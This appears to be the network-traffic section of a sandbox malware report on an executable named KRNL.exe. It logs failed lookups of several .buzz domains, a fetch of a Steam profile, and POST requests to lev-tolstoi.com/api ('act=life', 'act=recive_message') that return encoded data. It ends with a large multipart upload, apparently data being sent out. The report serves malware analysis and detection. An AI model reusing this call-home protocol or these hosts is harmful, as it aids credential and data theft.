Jan 1, 2025 21:27:58.317655087 CET	1.1.1.1	192.168.2.4	0x1d70	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.335031033 CET	1.1.1.1	192.168.2.4	0xec7	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.345901966 CET	1.1.1.1	192.168.2.4	0x80f	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.368380070 CET	1.1.1.1	192.168.2.4	0x7f5f	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.379169941 CET	1.1.1.1	192.168.2.4	0xe2be	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:58.389082909 CET	1.1.1.1	192.168.2.4	0x1262	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:59.677926064 CET	1.1.1.1	192.168.2.4	0x42de	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:27:59.677926064 CET	1.1.1.1	192.168.2.4	0x42de	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Jan 1, 2025 21:28:30.816570044 CET	1.1.1.1	192.168.2.4	0x93c0	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	104.102.49.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:27:59 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-01 20:27:59 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 01 Jan 2025 20:27:59 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=eb57dd49dd895c3631208604; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-01 20:27:59 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-01 20:27:59 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2025-01-01 20:27:59 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2025-01-01 20:27:59 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	172.67.157.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:28:00 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2025-01-01 20:28:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-01 20:28:00 UTC	1121	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 20:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5kic491f94ui7dg8efk9jj9n10; expires=Sun, 27 Apr 2025 14:14:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g3J9VQd2uCot4sqVW1ZB3hLWEUPTOIWeRL01Qw%2BNpjtXYvEoWEDaqkTY%2FWBl4gpuWrLvYL9nvVItsIUWla2jDNX68c7ti5GWWt4jr8PJVTQCLJhPlQwyg2FKkmoE0R2Nnqw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb540d57e2717b5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1464&rtt_var=562&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1923583&cwnd=252&unsent_bytes=0&cid=2a4f74acb9396462&ts=438&x=0"
2025-01-01 20:28:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-01 20:28:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	172.67.157.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:28:01 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: lev-tolstoi.com
2025-01-01 20:28:01 UTC	51	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--629912535&j=
2025-01-01 20:28:01 UTC	1119	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 20:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c1majle6bae5vfish6i596kge6; expires=Sun, 27 Apr 2025 14:14:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cI1JZxeWymFv0ABUHswjOFVNlwhgx8v4jHeMUXHeJmnGK5OdsDVrSZuoFBMA1Ti168TQP%2FxyYDRhKMquwYznFKZTPt24oYZNCYt6kHXcWWgSRkaOzOV3M5sFs0xz6fdmPtc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb540db3eb1184d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1508&min_rtt=1502&rtt_var=576&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=950&delivery_rate=1880231&cwnd=239&unsent_bytes=0&cid=bcdc0c9d5b389b49&ts=500&x=0"
2025-01-01 20:28:01 UTC	250	IN	Data Raw: 31 63 63 33 0d 0a 6c 4b 6e 61 79 65 76 32 72 4f 38 78 79 54 6d 4e 50 70 6f 4c 39 62 55 37 70 46 58 75 4b 68 59 55 46 31 51 39 36 70 71 46 43 70 50 76 69 36 7a 72 30 63 4b 41 7a 55 4b 73 47 37 64 4b 36 48 36 51 6d 52 6e 46 4d 63 77 51 63 48 56 37 4a 31 6a 47 75 50 4e 6e 73 61 37 50 75 36 57 59 6b 34 44 4e 56 4c 45 62 74 32 58 68 4b 5a 44 62 47 5a 35 33 69 30 42 30 64 58 73 32 58 49 48 31 39 57 62 77 2f 4d 57 39 6f 59 36 56 79 49 35 64 70 46 7a 6f 57 2f 74 68 6d 39 78 57 7a 44 6a 4d 42 6a 52 78 62 58 59 48 79 4e 66 67 66 76 4c 5a 79 4b 6d 69 79 59 75 41 6c 42 4f 73 56 36 38 45 75 47 71 51 31 31 66 43 4d 59 56 43 66 6e 78 7a 4e 31 6d 41 36 75 78 73 2b 2f 7a 4c 76 71 43 45 6e 4e 79 44 56 36 4e 58 37 6c 48 37 4b 64 6d 58 58 74 35 33 31 41 67 6e Data Ascii: 1cc3lKnayev2rO8xyTmNPpoL9bU7pFXuKhYUF1Q96pqFCpPvi6zr0cKAzUKsG7dK6H6QmRnFMcwQcHV7J1jGuPNnsa7Pu6WYk4DNVLEbt2XhKZDbGZ53i0B0dXs2XIH19Wbw/MW9oY6VyI5dpFzoW/thm9xWzDjMBjRxbXYHyNfgfvLZyKmiyYuAlBOsV68EuGqQ11fCMYVCfnxzN1mA6uxs+/zLvqCEnNyDV6NX7lH7KdmXXt531Agn
2025-01-01 20:28:01 UTC	1369	IN	Data Raw: 52 48 59 6e 54 70 33 31 39 32 36 78 36 59 57 68 36 34 36 59 6a 74 55 54 6f 31 66 68 57 66 74 6d 6b 4e 5a 5a 31 44 69 4d 53 33 78 2b 63 54 78 51 68 2f 66 70 59 76 62 2b 77 72 2b 6b 6a 70 7a 49 67 6c 44 72 46 61 39 62 34 43 6e 50 6c 33 6e 57 4e 49 39 63 65 57 63 31 4b 52 47 52 75 4f 42 6b 73 61 36 4c 76 71 57 49 6d 63 36 66 57 36 42 51 36 6b 37 7a 59 4a 72 61 57 63 73 39 67 30 74 30 63 58 38 38 55 49 4c 38 36 6d 58 33 39 73 76 34 35 63 6d 54 31 73 30 4c 36 33 6a 71 54 50 39 6c 67 5a 56 6a 68 69 6a 43 55 54 52 78 65 58 59 48 79 50 44 69 61 2f 4c 39 78 4c 75 6a 67 6f 62 4f 6e 31 57 6d 58 76 31 61 2f 57 65 64 31 45 76 4d 4f 59 70 4c 66 58 31 38 4d 31 69 4d 75 4b 6b 6f 39 75 36 4c 34 4f 75 6f 6d 63 57 42 57 62 78 62 72 30 4f 32 63 4e 66 51 56 59 5a 76 7a 45 78 Data Ascii: RHYnTp31926x6YWh646YjtUTo1fhWftmkNZZ1DiMS3x+cTxQh/fpYvb+wr+kjpzIglDrFa9b4CnPl3nWNI9ceWc1KRGRuOBksa6LvqWImc6fW6BQ6k7zYJraWcs9g0t0cX88UIL86mX39sv45cmT1s0L63jqTP9lgZVjhijCUTRxeXYHyPDia/L9xLujgobOn1WmXv1a/Wed1EvMOYpLfX18M1iMuKko9u6L4OuomcWBWbxbr0O2cNfQVYZvzEx
2025-01-01 20:28:01 UTC	1369	IN	Data Raw: 42 2b 50 34 4b 63 77 73 64 7a 49 72 4b 69 44 31 76 75 4f 58 61 56 63 2b 52 7a 6e 4a 34 36 58 58 73 70 33 31 41 68 35 64 33 30 77 54 59 66 31 35 47 62 2f 2b 63 36 33 6f 34 6d 55 77 34 68 58 6f 46 44 73 55 66 78 37 6e 64 64 52 77 7a 61 47 51 6a 51 34 4e 54 46 48 79 4b 43 6e 57 65 62 39 69 59 32 6f 68 35 72 4a 6d 78 4f 30 46 66 59 63 2f 32 58 58 6a 78 6e 4c 50 34 6c 4e 65 33 64 2f 4f 46 71 43 39 4f 39 6d 38 75 54 45 76 4b 75 46 6e 4d 53 41 58 61 39 54 35 6c 66 7a 62 35 66 57 55 34 5a 35 7a 45 39 73 4e 69 31 32 61 34 2f 30 36 6d 65 7a 77 38 69 32 70 59 36 43 6a 70 49 64 73 68 76 6f 55 4c 67 78 31 39 74 51 78 6a 79 47 54 48 52 78 65 44 4e 63 6a 2f 76 71 62 2f 76 34 7a 4c 79 6e 67 4a 6e 49 6a 56 53 76 58 76 31 5a 38 57 57 62 6c 78 65 47 4d 4a 51 49 4c 44 5a 61 Data Ascii: B+P4KcwsdzIrKiD1vuOXaVc+RznJ46XXsp31Ah5d30wTYf15Gb/+c63o4mUw4hXoFDsUfx7nddRwzaGQjQ4NTFHyKCnWeb9iY2oh5rJmxO0FfYc/2XXjxnLP4lNe3d/OFqC9O9m8uTEvKuFnMSAXa9T5lfzb5fWU4Z5zE9sNi12a4/06mezw8i2pY6CjpIdshvoULgx19tQxjyGTHRxeDNcj/vqb/v4zLyngJnIjVSvXv1Z8WWblxeGMJQILDZa
2025-01-01 20:28:01 UTC	1369	IN	Data Raw: 43 6e 59 66 6a 6b 78 62 61 69 68 4a 4c 47 69 6c 32 6d 55 4f 6c 58 2f 32 36 52 32 6c 48 4c 4d 6f 39 4a 63 48 78 6e 4e 56 53 43 39 65 30 6f 76 37 62 4d 6f 4f 76 52 31 4f 6d 42 65 72 74 41 2f 55 71 34 64 74 6e 4f 47 63 45 37 7a 42 41 30 64 58 6f 2f 55 49 44 77 36 47 66 31 2b 4d 32 2b 70 6f 79 62 78 4a 39 62 70 56 62 6b 55 2f 4e 37 6c 39 70 64 79 6a 4f 45 51 33 34 32 4f 33 5a 59 6b 4c 69 2f 4b 4d 54 37 78 4c 69 6f 6e 39 54 52 77 30 72 72 58 4f 4d 63 6f 43 6d 62 32 56 6e 4a 4f 34 42 44 66 48 64 35 4f 46 69 4e 38 65 39 67 34 2f 66 50 73 4b 71 48 6d 38 2b 4a 56 71 35 66 36 46 6a 2b 5a 74 65 5a 47 63 45 76 7a 42 41 30 57 56 49 44 48 61 6e 43 70 33 65 2f 37 34 75 2f 70 38 6e 4d 6a 6f 46 51 70 31 50 67 57 76 46 6c 6e 64 35 53 79 6a 79 49 52 48 31 7a 63 7a 64 61 6a Data Ascii: CnYfjkxbaihJLGil2mUOlX/26R2lHLMo9JcHxnNVSC9e0ov7bMoOvR1OmBertA/Uq4dtnOGcE7zBA0dXo/UIDw6Gf1+M2+poybxJ9bpVbkU/N7l9pdyjOEQ342O3ZYkLi/KMT7xLion9TRw0rrXOMcoCmb2VnJO4BDfHd5OFiN8e9g4/fPsKqHm8+JVq5f6Fj+ZteZGcEvzBA0WVIDHanCp3e/74u/p8nMjoFQp1PgWvFlnd5SyjyIRH1zczdaj
2025-01-01 20:28:01 UTC	1369	IN	Data Raw: 34 35 4d 57 31 70 49 47 63 78 34 78 58 72 6c 62 70 55 50 4a 6f 6b 4e 6c 58 7a 6e 66 43 43 48 4e 75 4e 57 34 66 71 65 6a 38 65 75 66 37 36 72 57 6b 79 59 75 41 6c 42 4f 73 56 36 38 45 75 47 43 46 30 31 54 55 50 6f 74 47 65 33 56 6e 4e 31 4b 44 36 75 42 6e 39 66 48 48 76 71 53 50 6c 63 75 48 58 36 78 65 35 46 50 30 4b 64 6d 58 58 74 35 33 31 41 68 61 66 57 59 68 58 49 62 7a 38 58 4f 78 36 59 57 68 36 34 36 59 6a 74 55 54 71 46 44 6b 57 50 68 6c 6c 39 4e 55 78 69 57 44 54 33 4e 2f 66 69 52 56 6a 2f 2f 73 59 50 72 35 7a 61 71 6e 68 34 62 4c 6e 30 48 72 46 61 39 62 34 43 6e 50 6c 32 2f 42 4a 35 78 4c 4e 6b 64 6a 4e 55 6d 44 39 65 73 6f 37 72 6a 53 2b 4b 79 46 31 4a 62 4e 56 61 52 53 37 46 50 35 59 4a 76 61 58 4d 38 79 6a 55 35 77 66 48 38 32 57 59 37 35 34 6d Data Ascii: 45MW1pIGcx4xXrlbpUPJokNlXznfCCHNuNW4fqej8euf76rWkyYuAlBOsV68EuGCF01TUPotGe3VnN1KD6uBn9fHHvqSPlcuHX6xe5FP0KdmXXt531AhafWYhXIbz8XOx6YWh646YjtUTqFDkWPhll9NUxiWDT3N/fiRVj//sYPr5zaqnh4bLn0HrFa9b4CnPl2/BJ5xLNkdjNUmD9eso7rjS+KyF1JbNVaRS7FP5YJvaXM8yjU5wfH82WY754m
2025-01-01 20:28:01 UTC	1369	IN	Data Raw: 74 4f 76 52 31 4d 32 4b 55 4b 70 52 35 6c 44 33 62 70 50 46 55 38 45 6c 6a 55 6c 2f 65 33 6b 32 55 6f 58 79 35 6d 48 38 2b 73 61 2f 72 49 61 52 6a 73 4d 54 72 45 4f 76 42 4c 68 49 6d 74 78 56 6e 57 33 4d 56 7a 70 76 4e 54 46 54 79 4b 43 6e 61 50 76 7a 77 62 57 6f 68 70 66 63 6a 46 57 35 57 2b 4a 57 36 6d 4f 63 30 6c 54 4c 4f 6f 39 4f 63 6e 31 35 4a 46 61 49 2b 2b 77 6f 76 37 62 4d 6f 4f 76 52 31 4f 32 61 52 61 46 63 34 30 72 7a 61 4a 54 42 56 4e 5a 33 77 67 68 6c 63 57 52 32 42 35 37 6f 38 47 2f 75 75 4e 4c 34 72 49 58 55 6c 73 31 56 6f 6c 33 6f 57 76 5a 37 6b 74 46 57 79 54 36 46 54 48 78 31 64 54 4a 62 6a 2f 33 6b 5a 50 72 78 79 4c 65 76 67 4a 72 48 67 68 50 6c 47 2b 68 45 75 44 48 58 39 6b 4c 46 4f 34 45 49 61 7a 68 73 64 6c 69 45 75 4c 38 6f 2f 66 6a Data Ascii: tOvR1M2KUKpR5lD3bpPFU8EljUl/e3k2UoXy5mH8+sa/rIaRjsMTrEOvBLhImtxVnW3MVzpvNTFTyKCnaPvzwbWohpfcjFW5W+JW6mOc0lTLOo9Ocn15JFaI++wov7bMoOvR1O2aRaFc40rzaJTBVNZ3wghlcWR2B57o8G/uuNL4rIXUls1Vol3oWvZ7ktFWyT6FTHx1dTJbj/3kZPrxyLevgJrHghPlG+hEuDHX9kLFO4EIazhsdliEuL8o/fj
2025-01-01 20:28:01 UTC	276	IN	Data Raw: 35 48 4a 6d 78 47 65 57 4f 46 53 2f 33 2f 58 79 47 61 49 64 34 4e 53 4e 43 35 4d 4c 78 2b 50 39 4b 63 77 73 65 50 4d 75 4b 79 54 67 73 6d 42 51 71 42 57 34 33 37 33 62 6f 48 55 56 73 55 6d 68 51 52 2f 65 7a 56 34 48 34 2f 67 70 7a 43 78 32 63 79 75 71 4b 61 58 33 34 51 54 35 52 76 6f 53 72 67 78 31 2b 6b 5a 31 44 53 63 53 33 74 6e 53 33 59 48 6b 63 61 6e 59 2b 66 78 32 37 75 39 67 70 6e 43 6e 47 33 72 41 37 73 4f 71 6a 76 46 68 55 61 47 4b 4c 4d 47 4e 48 63 31 62 6d 61 52 75 50 45 6f 71 61 53 46 2b 4c 6e 4a 7a 49 37 4b 55 4c 6c 4a 36 56 2f 75 61 74 44 70 5a 2b 45 68 68 6b 39 6b 63 57 49 35 48 38 61 34 36 43 69 70 7a 34 75 78 72 4a 4b 46 32 49 42 44 72 42 76 51 45 72 68 78 31 34 38 5a 38 7a 53 43 52 6e 4e 67 5a 48 74 34 6e 76 4c 67 65 50 62 68 78 50 6a 6c Data Ascii: 5HJmxGeWOFS/3/XyGaId4NSNC5MLx+P9KcwsePMuKyTgsmBQqBW4373boHUVsUmhQR/ezV4H4/gpzCx2cyuqKaX34QT5RvoSrgx1+kZ1DScS3tnS3YHkcanY+fx27u9gpnCnG3rA7sOqjvFhUaGKLMGNHc1bmaRuPEoqaSF+LnJzI7KULlJ6V/uatDpZ+Ehhk9kcWI5H8a46Cipz4uxrJKF2IBDrBvQErhx148Z8zSCRnNgZHt4nvLgePbhxPjl
2025-01-01 20:28:01 UTC	1369	IN	Data Raw: 32 63 64 31 0d 0a 54 5a 4e 73 59 4a 6d 6b 37 4c 78 2b 65 75 4c 38 36 76 37 62 5a 2b 50 50 4a 30 38 32 66 51 61 31 59 2b 56 2b 2f 56 36 6e 77 51 38 73 78 6d 31 6c 4b 53 48 49 73 55 6f 37 76 39 69 54 6b 39 63 57 32 72 4a 2f 55 67 4d 31 63 36 77 50 57 48 4c 41 70 71 4a 6b 5a 33 6e 66 55 43 45 46 31 65 7a 68 59 6e 75 6d 71 54 2b 76 37 7a 61 2b 36 79 64 71 4f 69 78 50 7a 43 61 45 63 2f 48 6a 58 6a 77 6d 55 62 4e 6b 62 49 79 59 6e 4b 52 47 52 75 50 45 6f 71 61 53 46 2b 4c 6e 4a 7a 49 37 4b 55 4c 6c 4a 36 56 2f 75 61 74 44 70 5a 2b 67 77 69 6b 31 7a 5a 6a 63 59 56 4a 7a 2f 70 79 61 78 2b 59 76 67 6b 73 6e 63 6a 72 49 64 36 30 4f 76 42 4c 68 63 6c 4e 6c 58 77 53 47 64 42 56 70 78 63 7a 4e 59 6d 4c 72 4a 59 2b 58 78 69 2f 62 72 6a 39 53 57 33 52 33 72 58 2f 34 63 Data Ascii: 2cd1TZNsYJmk7Lx+euL86v7bZ+PPJ082fQa1Y+V+/V6nwQ8sxm1lKSHIsUo7v9iTk9cW2rJ/UgM1c6wPWHLApqJkZ3nfUCEF1ezhYnumqT+v7za+6ydqOixPzCaEc/HjXjwmUbNkbIyYnKRGRuPEoqaSF+LnJzI7KULlJ6V/uatDpZ+gwik1zZjcYVJz/pyax+YvgksncjrId60OvBLhclNlXwSGdBVpxczNYmLrJY+Xxi/brj9SW3R3rX/4c
2025-01-01 20:28:01 UTC	1369	IN	Data Raw: 5a 50 31 69 43 44 64 6b 70 6a 64 6a 68 52 6a 2b 37 32 4b 4c 2b 32 78 50 6a 7a 73 4e 53 47 7a 57 7a 6c 47 2f 63 63 6f 43 6d 69 31 46 66 49 4d 4a 70 5a 4f 56 46 37 4d 56 36 65 36 50 42 6e 73 62 69 4c 76 75 76 52 78 6f 44 4e 56 37 6f 62 74 77 79 71 4d 73 4b 45 44 70 5a 6c 6b 77 5a 74 4e 6d 4e 32 42 39 71 32 70 33 71 78 72 6f 76 2f 71 4a 75 47 79 49 35 46 71 42 7a 52 59 74 39 6e 6b 4e 5a 50 31 69 43 44 42 31 70 41 56 41 68 68 6e 66 76 70 5a 76 62 67 32 76 6a 6c 79 5a 75 4f 31 57 72 72 45 36 39 6a 74 69 6d 50 6c 77 47 47 41 6f 39 47 65 6e 46 6a 4a 78 4b 76 39 75 42 70 35 2b 62 63 74 2b 53 6e 6f 75 2f 4e 48 65 74 64 72 77 53 71 4a 39 66 54 53 49 5a 76 33 42 6f 76 49 79 5a 68 44 39 72 6e 71 58 47 78 34 49 76 67 2b 63 66 55 33 4d 30 4c 36 78 7a 73 54 75 70 76 6c Data Ascii: ZP1iCDdkpjdjhRj+72KL+2xPjzsNSGzWzlG/ccoCmi1FfIMJpZOVF7MV6e6PBnsbiLvuvRxoDNV7obtwyqMsKEDpZlkwZtNmN2B9q2p3qxrov/qJuGyI5FqBzRYt9nkNZP1iCDB1pAVAhhnfvpZvbg2vjlyZuO1WrrE69jtimPlwGGAo9GenFjJxKv9uBp5+bct+Snou/NHetdrwSqJ9fTSIZv3BovIyZhD9rnqXGx4Ivg+cfU3M0L6xzsTupvl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	172.67.157.254	443	2120	C:\Users\user\Desktop\KRNL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 20:28:02 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LC4OYBSII4ZCJL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18143 Host: lev-tolstoi.com
